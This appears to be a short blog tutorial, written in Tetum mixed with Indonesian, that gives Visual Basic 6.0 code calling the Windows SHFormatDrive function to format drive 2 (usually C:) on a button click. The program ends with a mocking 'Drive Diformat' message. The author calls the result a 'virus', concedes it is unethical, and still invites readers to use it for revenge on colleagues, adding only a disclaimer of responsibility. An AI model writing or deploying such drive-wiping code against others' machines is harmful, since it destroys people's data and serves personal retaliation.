Visual Programming

Format Harddisk Utiliza Aplikasi Microsoft VB 6.0

Tutorial VB

Hakarak atu halo virus hodi estraga komputer ? saugati deit karik la aumenta fungsi format drive, maske ida nee uja sala no kontra etika hanesan ema IT, maibee se mak laran la moras wainhira kolega ida nebee hadutu nia an no estraga kolega seluk no halo ema seluk hanesan ayam potong ?. kolega sira karik  hakarak atu halo bales dendam ba ema nebee halo ita ayam potong nee laproblema ida. He……..he…he………keta haluhan  labele menyalah gunaan ba ema nebee la hatene no la halo sala ba ema seluk no ba ita….

Dalan mak henesan tuir mai nee :

Halo projek iha Visual Basic 6.0 ho 1 Form no 1 CommandButton nomos 1 Dr

Ketik coding iha form nebee ita cria ona

Private Declare Function SHFormatDrive Lib “Shell32.dll” (ByVal hWnd As Long, _
ByVal Drive As Integer, ByVal fmtID As Integer, ByVal Options As Integer) _
As Long

Private Sub Command1_Click()
Dim ret As Long
ret = SHFormatDrive(Me.hWnd, 2,-1, 1) ‘ yang di format drive dengan urutan numer 2

Select Case ret
Case -1
MsgBox “Error during format operation”
Case -2
MsgBox “Operation canceled by user”
Case -3
MsgBox “This drive cannot be formatted”
Case Else
MsgBox “Hahaha…!! Drive Diformat..!! “
End Select
End Sub

NB : hakarak halo tuir buat nebee hakerek iha leten, hau sei la responsavel atas penyalah gunaan nebee ita praktika iha ita boot nia komputer.
—————————————————————————————————————————————————

Develop your skill in Open Source Code in Visual Programming Click here